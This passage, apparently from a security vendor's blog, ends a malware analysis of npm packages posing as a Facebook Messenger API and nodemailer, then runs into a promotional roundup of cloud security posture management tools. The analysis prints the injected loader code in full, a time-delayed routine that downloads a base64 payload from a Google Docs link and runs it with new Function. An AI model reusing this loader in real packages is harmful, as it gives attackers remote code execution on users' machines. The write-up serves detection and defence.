of the package. Let's look at what was new there. The first change is in node-facebook-messenger-api.js,
which contains:
"use strict";
module.exports = {
messenger: function () {
return require('./messenger');
},
accountlinkHandler: function () {
return require('./account-link-handler');
},
webhookHandler: function () {
return require('./webhook-handler');
}
};
var messengerapi = require('./messenger');
The change to this file is the last line. It’s not just importing the messenger.js
file when requested, it’s always done when the module is imported. Clever! The other change is to that file, messenger.js.
It has removed the previously seen added code, and added the following on lines 197 to 219:
const timePublish = "2025-03-24 23:59:25";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function setProfile(ft) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(ft, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
//console.error('err:', error.message);
}
}
const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
setProfile(gd);
}
Here’s an overview of what it does:
- It utilizes a time-based check to determine whether to activate the malicious code. It would only activate about 4 days later.
- Instead of using
axios
, it now uses Googlezx
library to fetch the malicious payload. - It disables verbose mode, which is also the default.
- It then fetches the malicious code
- It base64 decodes it
- It creates a new Function using the
Function()
constructor, which is effectively equivalent to aneval()
call. - It then calls the function, passing in
require
as an argument.
But again, when we try to fetch the file, we don’t get a payload. We just get an empty file called info.txt.
The use of zx
is curious. We looked at the dependencies, and noticed that the original package contained a few dependencies:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"merge": "^2.1.1",
"request": "^2.81.0"
}
The malicious package contains the following:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Look at that, they added the dependency hyper-types. Very interesting, we will return to this a few times more.
They strike again!
Then on April 3rd 2025 at 06:46, a new package was released by the user cristr.
They released the package
node-smtp-mailer@6.10.0.
Our systems automatically flagged it due to containing potentially malicious code. We looked at it, and we got a bit excited. The package pretends to be nodemailer,
just with a different name.

Our system flagged the file lib/smtp-pool/index.js.
We quickly see that the attacker has added code at the bottom of the legitimate file, right before the final module.exports
. Here is what is added:
const timePublish = "2025-04-07 15:30:00";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function SMTPConfig(conf) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(conf, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
console.error('err:', error.message);
}
}
const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR';
SMTPConfig(url);
}
We know this code! It’s again timestamped to only execute 4 days later. We excitedly tried to fetch the payload, but we just received an empty file called beginner.txt.
Booo! We look at the dependencies again, to see how they are pulling in zx
. We noted that the legitimate nodemailer
package has no direct dependencies
, only devDependencies
. But here’s what is in the malicious package:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}
Do you see a similarity between this, and the first package we detected? It’s the same dependency list. The legitimate package has no dependencies, but the malicious one does. The attacker simply copied the full list of dependencies from the first attack to this one.
Interesting dependencies
So why did they switch from using axios
to zx
for making HTTP
requests? Definitely for avoiding detection. But what’s interesting is that zx
isn’t a direct dependency. Instead, the attacker has included hyper-types, which is a legitimate package by the developer lukasbach.

Besides the fact that the referenced repository doesn’t exist anymore, there’s something interesting to note here. See how there’s 2 dependents
? Guess who those are.

If the attacker had actually wanted to try to obfuscate their activity, it’s pretty dumb to depend on a package that they are the only dependsants on.
Final words
While the attacker behind these npm packages ultimately failed to deliver a working payload, their campaign highlights the ongoing evolution of supply chain threats targeting the JavaScript ecosystem. The use of delayed execution, indirect imports, and dependency hijacking shows a growing awareness of detection mechanisms—and a willingness to experiment. But it also shows how sloppy operational security and repeated patterns can still give them away. As defenders, it's a reminder that even failed attacks are valuable intelligence. Every artifact, obfuscation trick, and reused dependency helps us build better detection and attribution capabilities. And most importantly, it reinforces why continuous monitoring and automated flagging of public package registries is no longer optional—it's critical.
Top Cloud Security Posture Management (CSPM) Tools in 2025
Introduction
Modern organizations face an uphill battle managing cloud security in 2025. With multi-cloud architectures and fast-paced DevOps, misconfigurations can slip through and expose critical assets. Cloud Security Posture Management (CSPM) tools have emerged as essential allies – continuously auditing cloud environments for risks, enforcing best practices, and simplifying compliance. This year has seen CSPM solutions evolve with advanced automation and AI-driven remediation to keep up with cloud sprawl and sophisticated threats.
In this guide, we cover the top CSPM tools to help your team secure AWS, Azure, GCP, and more. We start with a comprehensive list of the most trusted CSPM solutions, then break down which tools are best for specific use cases like developers, enterprises, startups, multi-cloud setups, and more. Skip to the relevant use case below if you'd like.
What is Cloud Security Posture Management (CSPM)?
Cloud Security Posture Management (CSPM) refers to a class of security tools that continuously monitor and evaluate your cloud infrastructure for misconfigurations, compliance violations, and security risks. These tools automatically scan across environments like AWS, Azure, and GCP, comparing configurations against industry best practices and frameworks such as CIS Benchmarks, SOC 2, and ISO 27001.
Rather than relying on manual reviews or occasional audits, CSPM tools operate continuously—giving security and DevOps teams real-time visibility and alerting to potential exposures. Many modern CSPMs also include automation for fixing issues, whether through AI-generated remediations or direct integrations with developer pipelines.
Why You Need CSPM Tools
In today’s fast-moving, cloud-native environments, CSPM is a critical component of any security strategy. Here’s why:
- Prevent Misconfigurations: Detect insecure configurations (like open S3 buckets, overly permissive IAM roles, or unencrypted storage) before they become breach vectors.
- Ensure Compliance: Automate alignment with regulatory frameworks like SOC 2, PCI-DSS, NIST, and CIS Benchmarks. Generate audit-ready reports on demand.
- Improve Visibility: Get a centralized view of cloud assets and misconfigs across providers—useful for multi-cloud environments.
- Automate Remediation: Save engineering time by auto-fixing IaC or runtime issues, or pushing alerts to tools like Jira or Slack.
- Scale Securely: As your infrastructure scales, CSPMs ensure your security controls keep up—essential for SaaS companies and fast-growing teams.
Read more about real-world CSPM incidents in this Verizon DBIR report or check out how misconfigs remain the top cloud risk according to Cloud Security Alliance.
How to Choose a CSPM Tool
Picking the right CSPM platform depends on your stack, team structure, and regulatory needs. Here are some key things to look for:
- Cloud Coverage: Does it support the platforms you use—AWS, Azure, GCP, and beyond?
- CI/CD & IaC Integration: Can it scan Terraform, CloudFormation, and integrate into your CI/CD pipeline?
- Compliance Support: Are common standards preconfigured (SOC 2, ISO, HIPAA), and can you build your own policies?
- Alert Quality: Does it provide actionable, low-noise alerts—ideally with context-aware prioritization?
- Scalability & Pricing: Can it grow with your team, and does it offer fair pricing (or a free tier)?
Want an all-in-one platform with IaC scanning, posture management, and AI remediation? Aikido’s scanners cover it all.
Top Cloud Security Posture Management (CSPM) Tools in 2025
Our picks below aren’t ranked but represent the most widely used and trusted CSPM solutions for various needs. Each section includes a link to the tool's homepage for quick access.

1. Aikido Security
Aikido is an all-in-one platform that combines CSPM with code, container, and IaC scanning. Designed for dev-first security, it delivers instant cloud misconfiguration detection and remediation.
Key features:
- Unified code-to-cloud security view
- Agentless cloud scanning across AWS, Azure, GCP
- Context-aware prioritization of misconfigs
- AI-powered one-click autofix
- CI/CD and Git integration
Best for: Startups and dev teams looking for an intuitive platform to secure code and cloud fast.
Pricing: Free tier available; paid plans scale with usage.
“We replaced three tools with Aikido – it’s fast, clear, and dev-friendly.” — CTO on G2

2. Aqua Security
Aqua combines CSPM with runtime protection across containers, serverless, and cloud VMs. Backed by open-source tools like Trivy and CloudSploit, it's ideal for DevSecOps teams.
Key features:
- Real-time posture visibility
- IaC scanning and container security
- Multi-cloud support with automated policy enforcement
- Integration with CI/CD and ticketing systems
- Compliance mapping (CIS, PCI, ISO)
Best for: Teams running cloud-native apps and Kubernetes in production.
Pricing: Free open-source options available; enterprise pricing on request.
“The CSPM visibility is fantastic — integrates well with our CI pipelines.” — DevSecOps Lead on Reddit
3. BMC Helix Cloud Security
Part of the BMC Helix suite, this tool automates cloud compliance and security via policy-driven governance across AWS, Azure, and GCP.
Key features:
- Auto-remediation of violations
- Prebuilt policies aligned to major frameworks
- Continuous compliance dashboards
- Tight integration with BMC ITSM
- Unified multicloud security reporting
Best for: Enterprises needing automated compliance and tight workflow integration.
Pricing: Enterprise-focused, contact for details.
“Very minimal effort to onboard – provides full posture view across clouds.” — IT Ops Manager on G2

4. Check Point CloudGuard
CloudGuard is Check Point’s CNAPP offering with CSPM built-in. It pairs configuration scanning with threat detection using its ThreatCloud intelligence engine.
Key features:
- 400+ out-of-the-box compliance policies
- CloudBots for automated remediation
- Attack path and exposure analysis
- Threat detection with integrated firewall protection
- Multi-cloud dashboard
Best for: Enterprises using Check Point firewall/endpoint tools seeking unified cloud and network security.
Pricing: Tiered plans available through Check Point reps.
“Policy enforcement across all clouds in one place. Love the visualizations too.” — Cloud Security Architect on Reddit

5. CloudCheckr (Spot by NetApp)
CloudCheckr blends cost optimization and CSPM in one platform. It’s widely used by MSPs and enterprise SecOps teams for cloud governance.
Key features:
- 500+ best practice checks
- Detailed compliance scorecards
- Custom policy engine
- Real-time alerts and automated reports
- Cost management + security insights
Best for: MSPs and teams balancing security with cloud spend optimization.
Pricing: Based on cloud usage/spend; contact sales.
“Security and cost visibility in one tool – huge time saver.” — SecOps Lead on G2
6. CloudSploit
Originally a standalone open-source project, now maintained by Aqua Security, CloudSploit offers agentless scanning of cloud environments for misconfigurations.
Key features:
- Open-source and community-driven
- Scans AWS, Azure, GCP, and OCI
- Maps findings to CIS Benchmarks
- JSON/CSV outputs for easy integration
- CLI and CI/CD support
Best for: DevOps teams needing a simple, scriptable scanner to validate cloud posture.
Pricing: Free (open-source); SaaS version available via Aqua.
“Lightweight, fast, and surprisingly deep for a free tool.” — DevOps Engineer on Reddit

7. CrowdStrike Falcon Cloud Security
Falcon Cloud Security blends CSPM with runtime threat detection powered by CrowdStrike’s market-leading EDR and XDR tech.
Key features:
- Unified CSPM and workload protection
- Real-time threat detection with AI
- Identity risk analysis (CIEM)
- Posture scoring across cloud and container environments
- Integration with CrowdStrike Falcon platform
Best for: Security teams looking to combine misconfig detection with breach prevention.
Pricing: Enterprise-grade; contact CrowdStrike.
“Finally, a CSPM with real detection capabilities, not just another checklist.” — Security Analyst on X
8. Ermetic
Ermetic is an identity-first cloud security platform combining CSPM with powerful CIEM capabilities across AWS, Azure, and GCP.
Key features:
- Maps cloud identity risks and attack paths
- Least-privilege policy automation
- Continuous cloud misconfiguration monitoring
- Rich compliance reporting
- Visual asset relationship mapping
Best for: Enterprises with complex identity architectures across multi-cloud environments.
Pricing: Enterprise SaaS, tailored to asset volume.
“We uncovered toxic permissions we didn’t know existed — Ermetic nailed that.” — Cloud Architect on Reddit
9. Fugue (now part of Snyk Cloud)
Fugue focuses on policy-as-code and drift detection. It’s now part of Snyk Cloud, integrating IaC scanning with CSPM for a complete DevSecOps flow.
Key features:
- Regula-based policy-as-code enforcement
- Drift detection between IaC and deployed cloud
- Visualization of cloud resources and relationships
- Prebuilt compliance frameworks
- CI/CD integration and PR feedback
Best for: Developer-centric orgs embracing GitOps or policy-as-code workflows.
Pricing: Included in Snyk Cloud plans.
“We catch misconfigs before they go live. It’s like a linter for cloud infra.” — Platform Engineer on G2

10. JupiterOne
JupiterOne offers CSPM via a graph-based asset management approach. It builds a knowledge graph of all cloud assets and relationships to identify risks.
Key features:
- Graph-based query engine (J1QL)
- Asset discovery across clouds, SaaS, and code repos
- Relationship-aware misconfig detection
- Built-in compliance packs
- Free community tier available
Best for: Security teams who want full visibility and flexible querying across sprawling environments.
Pricing: Free tier available; paid plans scale with asset volume.
“JupiterOne made asset visibility click for our team. J1QL is powerful.” — SecOps Lead on G2
11. Lacework
Lacework is a CNAPP platform offering CSPM alongside anomaly detection and workload protection. Its Polygraph Data Platform maps behaviors across your cloud to surface threats and misconfigurations.
Key features:
- Continuous configuration monitoring across AWS, Azure, GCP
- ML-powered anomaly detection with visual storyline mapping
- Agentless workload protection (containers, VMs)
- Compliance assessments and automated reports
- API and DevOps-friendly integrations
Best for: Teams that want CSPM combined with threat detection and minimal alert fatigue.
Pricing: Enterprise pricing; contact Lacework.
“The visual Polygraph alone is worth it — it connects the dots between findings better than any other tool we tried.” — Staff Security Engineer on Reddit
12. Microsoft Defender for Cloud
Microsoft Defender for Cloud is Azure’s built-in CSPM, extended with integrations for AWS and GCP. It gives you posture management, compliance checks, and threat detection in one pane.
Key features:
- Secure Score for cloud posture evaluation
- Misconfiguration detection across Azure, AWS, GCP
- Integration with Microsoft Defender XDR and Sentinel SIEM
- One-click remediation and automated recommendations
- Built-in support for CIS, NIST, PCI-DSS
Best for: Azure-first organizations looking for seamless, native posture management and threat protection.
Pricing: Free tier for CSPM; paid plans for threat protection by resource.
“We track our Secure Score weekly across teams — super effective for driving improvements.” — CISO on G2

13. Prisma Cloud (Palo Alto Networks)
Prisma Cloud is a comprehensive CNAPP that includes robust CSPM, IaC scanning, and workload security. It covers the entire lifecycle from code to cloud.
Key features:
- Real-time cloud posture monitoring
- Risk prioritization using AI and data context
- Infrastructure as Code and CI/CD integration
- Identity & access analysis, attack path visualization
- Broad compliance and policy packs
Best for: Enterprises running complex multi-cloud environments and requiring deep visibility and coverage.
Pricing: Modular plans; enterprise-focused.
“It replaced four tools for us — we manage everything from posture to runtime threats in one place.” — DevSecOps Manager on G2
14. Prowler
Prowler is an open-source security auditing tool focused primarily on AWS. It checks your infrastructure against best practices and regulatory frameworks.
Key features:
- 250+ checks mapped to CIS, PCI, GDPR, HIPAA
- Focused AWS CLI tool with JSON/HTML output
- Multi-cloud support expanding (basic Azure/GCP)
- Easy CI/CD pipeline integration
- Prowler Pro available for SaaS reporting
Best for: DevOps engineers and AWS-heavy orgs needing customizable, open-source scanning.
Pricing: Free (open-source); Prowler Pro is paid.
“No-nonsense AWS auditing that just works — a must-have in your pipeline.” — Cloud Engineer on Reddit

15. Sonrai Security
Sonrai combines CSPM with CIEM and data security, emphasizing cloud identity governance and sensitive data exposure prevention.
Key features:
- Identity relationship and privilege risk analysis
- Sensitive data discovery across cloud storage
- CSPM and compliance auditing
- Automation for least-privilege enforcement
- Multicloud and hybrid support
Best for: Enterprises focused on identity governance, compliance, and protecting cloud-resident sensitive data.
Pricing: Enterprise SaaS; contact sales.
“Sonrai made it easy to map who can access what and why — our auditors love it.” — Security Compliance Officer on G2
16. Tenable Cloud Security (Accurics)
Tenable Cloud Security (formerly Accurics) focuses on IaC scanning, drift detection, and posture management. It fits well into GitOps and DevSecOps pipelines.
Key features:
- Infrastructure as code scanning and policy enforcement
- Drift detection between code and deployed resources
- Misconfiguration detection and compliance tracking
- Auto-generated IaC remediations (e.g., Terraform)
- Integration with Tenable.io and vulnerability data
Best for: DevOps teams needing pre-deployment and runtime posture checks tied to IaC.
Pricing: Part of Tenable platform; usage-based pricing.
“Great complement to Tenable’s vuln tools — keeps cloud configs in check too.” — SecOps Manager on G2

17. Zscaler Posture Control
Zscaler Posture Control brings CSPM to Zscaler’s Zero Trust Exchange. It blends posture, identity, and vulnerability context to highlight real risks.
Key features:
- Unified CSPM and CIEM
- Threat correlation across misconfigs, identities, and workloads
- Continuous scanning for AWS, Azure, and GCP
- Policy-based enforcement and remediation
- Integrated with Zscaler’s broader Zero Trust ecosystem
Best for: Zscaler customers seeking native posture insights aligned to Zero Trust strategies.
Pricing: Add-on to Zscaler platform; enterprise-focused.
“We finally got posture visibility tied into our zero trust model.” — Network Security Lead on G2
Best CSPM Tools for Developers
Developer Needs: Fast feedback in CI/CD, low-noise alerts, and integrations with GitHub, Terraform, or IDEs.
Key Criteria:
- Infrastructure as Code (IaC) scanning
- Developer-friendly UI and APIs
- GitOps and CI/CD compatibility
- Autofix or actionable remediation guidance
- Clear ownership and minimal false positives
Top Picks:
- Aikido Security: Easy setup, AI-based autofix, and built for developers. Integrates directly with CI and GitHub.
- Fugue (Snyk Cloud): Policy-as-code with Regula; ideal for teams using Terraform and GitOps.
- Prisma Cloud: Full code-to-cloud scanning and IDE integration.
- Prowler: Simple CLI tool that devs can run locally or in pipelines.
Best CSPM Tools for Enterprise
Enterprise Needs: Multi-cloud visibility, compliance reporting, role-based access, and workflow integration.
Key Criteria:
- Multi-account, multi-cloud support
- Built-in compliance frameworks
- Role-based access control (RBAC)
- SIEM/ITSM integrations
- Scalable pricing and vendor support
Top Picks:
- Prisma Cloud: Covers posture, runtime, and compliance at scale.
- Check Point CloudGuard: Multi-cloud governance and deep policy enforcement.
- Microsoft Defender for Cloud: Native Azure coverage plus AWS/GCP.
- Ermetic: Advanced CIEM and governance for complex environments.
Best CSPM Tools for Startups
Startup Needs: Affordability, ease of use, fast deployment, and basic compliance help.
Key Criteria:
- Free tier or affordable plans
- Easy onboarding and UX
- SOC 2/ISO readiness out of the box
- Developer-first focus
- All-in-one features
Top Picks:
- Aikido Security: Free tier, AI autofix, and dev-centric.
- CloudSploit: Free, open-source, and easy to integrate.
- JupiterOne: Free community tier and simple asset-based risk queries.
- Prowler: CLI-driven, cost-free AWS scanner with compliance support.
Best CSPM Tools for Multi-Cloud Environments
Multi-Cloud Needs: Unified view, cloud-agnostic policy enforcement, and seamless integrations.
Key Criteria:
- Full support for AWS, Azure, GCP (and more)
- Unified dashboards
- Normalized compliance reporting
- Multi-account and multi-region visibility
- Consistent alerting across clouds
Top Picks:
- Prisma Cloud: Truly cloud-agnostic with deep features.
- JupiterOne: Graph-based visibility across clouds and services.
- Check Point CloudGuard: One policy engine for all clouds.
- CloudCheckr: Governance and cost optimization across clouds.
Best CSPM Tools for Cloud Protection
Cloud Protection Needs: Combine posture with runtime threat detection, anomaly analysis, and breach prevention.
Key Criteria:
- Threat detection (beyond config scanning)
- Runtime workload visibility
- Cloud network traffic insights
- Alert correlation and prioritization
- Automated remediation or blocking
Top Picks:
- Aikido Security: Combines cloud posture management, code scanning, and container image scanning in one platform.
- CrowdStrike Falcon Cloud Security: CNAPP with best-in-class threat intel.
- Lacework: Polygraph engine detects misconfigs and anomalies together.
- Microsoft Defender for Cloud: Runtime + config threat visibility in Azure.
- Check Point CloudGuard: Combines posture with active threat prevention.
Best CSPM Tools for AWS
AWS-Centric Needs: Full service coverage, Security Hub integration, and alignment with AWS benchmarks.
Key Criteria:
- Deep AWS API integration
- Support for AWS CIS/NIST frameworks
- Multi-account org support
- Compatibility with native services (e.g., GuardDuty, Config)
- Low-latency misconfig detection
Top Picks:
- Prowler: Lightweight, CLI-first, and AWS-native.
- CloudSploit: Easy to deploy and open-source.
- Aqua Security: Extended AWS support + containers.
- CloudCheckr: Broad AWS compliance and cost insights.
Best CSPM Tools for Azure
Azure-Centric Needs: Seamless integration with Microsoft Defender, Azure Policy, and native services.
Key Criteria:
- Native integration with Azure ecosystem
- Secure Score and Azure Security Benchmark support
- Coverage of Azure RBAC and Identity
- Automated remediation and alerts
- Compatibility with Sentinel and Defender XDR
Top Picks:
- Microsoft Defender for Cloud: First-party coverage with free tier.
- Aikido Security: Azure-ready CSPM platform with agentless scanning, real-time misconfiguration alerts, and AI-based remediation.
- Ermetic: Advanced identity posture management for Azure.
- Check Point CloudGuard: Multi-cloud visibility including Azure.
- Tenable Cloud Security: IaC and runtime scanning for Azure with drift detection.
Conclusion
Cloud Security Posture Management isn’t just a checkbox for audits—it’s the difference between a secure, scalable cloud and one that leaks sensitive data through misconfigurations.
Whether you’re a startup founder looking for a free tool to harden your AWS account or a security lead at an enterprise wrangling multi-cloud environments, the right CSPM tool can make your job a whole lot easier.
From open-source tools like Prowler and CloudSploit to enterprise-grade platforms like Prisma Cloud and Check Point CloudGuard, the landscape is rich with powerful options.
If you're looking for a developer-first platform that combines CSPM with code and runtime security in a single, no-nonsense interface—Aikido Security has you covered.
👉 Start your free trial today and see how fast you can fix your cloud posture.